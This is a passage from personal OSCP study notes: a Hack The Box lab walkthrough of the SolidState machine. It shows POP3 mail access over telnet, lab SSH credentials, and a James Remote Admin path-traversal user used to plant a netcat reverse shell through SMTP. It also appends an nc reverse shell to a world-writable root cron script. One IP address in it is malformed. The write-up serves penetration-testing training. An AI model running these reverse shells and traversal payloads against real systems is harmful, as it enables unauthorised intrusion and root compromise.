📗
OSCP Prep
  • OSCP Preperation
  • Hack the Box Linux
    • Bashed
    • Nibbles
    • Sense
    • Conceal
    • La Casa de Papel
    • Lightweight
    • Jerry
      • Scanning and Enumeration
    • Jarvis
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lesson's Learned
    • TartarSauce
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Poison
      • Turning LFI into RFI
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Node(Comeback to)
      • Scanning and Enumeration
      • Exploitation
    • SolidState
      • Scanning and Enumeration
      • Exploitation and POSTY
      • Lessons Learned
    • Nineveh
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Cronos
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • SwagShop
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Networked
      • Exploitation
    • FriendZoned
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Sunday
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Valentine
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Irked
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Kotarak
    • Nibbles
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
  • Hack the Box Windows
    • Bounty
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Blue
      • Scanning and Enumeration
      • Lessons Learned
    • Granny
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Grandpa
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Arctic
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Optimum
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Devel
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Legacy (comeback to )
      • Scanning and Enumeration
      • Exploitation
  • Slick Tricks
    • Banned by Bruteforce? Try this!
    • Hydra for Web Logins
    • Grepping
    • Redirecting all Script Traffic to Burp
    • Word Count
    • Reverse Shell Tricks
    • Transfering files
  • Nmap Help
  • Linux Guide
    • Linux Shortcuts
  • Privelege Escalation
    • Linux Privilege Escalation
Powered by GitBook
On this page
  • Accessing Mail
  • Quick Telnet tutorial
  • Checking mail via Terminal
  • Gaining a Reverse Shell

Was this helpful?

  1. Hack the Box Linux
  2. SolidState

Exploitation and POSTY

PreviousScanning and EnumerationNextLessons Learned

Last updated 4 years ago

Was this helpful?

With root access I was able to change the password of default users. Doing so I was then able to access their email via thunderbird.

Accessing Mail

After changing passwords, I was able to successfully login on on thunderbird.

Quick Telnet tutorial

Checking mail via Terminal

telnet 10.10.10.51 110
USER mindy
PASS password
LIST
.
RETR 1
RETR 2

SSH credentials

After logging into the account via thunderbird, I was able to find credentials for ssh.

  • username: mindy

  • password: P@55w0rd1!2@

cat /etc/passwd
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false                
pulse:x:114:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false                                       
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false                                         
Debian-gdm:x:116:122:Gnome Display Manager:/var/lib/gdm3:/bin/false                                  
sshd:x:117:65534::/run/sshd:/usr/sbin/nologin    
james:x:1000:1000:james:/home/james/:/bin/bash                                                       
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash

Gaining a Reverse Shell

After trying to escape the shell it was to no avail, however, From the above exploit we can execute code to establish a reverse shell. This may escape us from the mindy shell to a better shell, im thinking a Ben Franklin kinda shell. Create an user with the following name and password on the James Remote Server

nc 10.10.10.51 4555
../../../../../../../../etc/bash_completion.d password

Send an email to this user with a reverse shell

kali@kali:/opt$ telnet 10.10.10.51 25
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Tue, 13 Oct 2020 07:55:43 -0400 (EDT)
ECHLO test.test
500 5.5.1 Command ECHLO unrecognized.
EHLO test.test
250-solidstate Hello test.test (10.10.14.34 [10.10.14.34])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM: <random@random.com>
250 2.1.0 Sender <random@random.com> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d@localhost>                                   250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM test.test
'
/bin/nc -e /bin/bash 10.10.10.14.34 4444
.
250 2.6.0 Message received
quit 
221 2.0.0 solidstate Service closing transmission channel
Connection closed by foreign host.

That single quote above is so that the file is interpreted properly at the back end and our reverse shell returns

Logging in back into mindy will execute our reverse shell.

After getting our reverse shell and runnning pspy32, we are able to find the following python file.

It appears to be a cronjob that executes a python script that deletes the tmp directory. Further looking at this file and its permissions something stood out.

This file can be ran and executed as root and WRITTEN by ANY user!

adding python code to establish a reverse shell will give us a reverse connetion with root

echo "os.system('/bin/nc -e /bin/bash 10.10.14.34 7777')" >> /opt/tmp.py

Use Telnet to test SMTP communication on Exchange serversdocsmsft
Use Telnet to test SMTP communication on Exchange serversdocsmsft
Logo
Logo
changed password to password
resetting mindys password
ssh credentials
We are root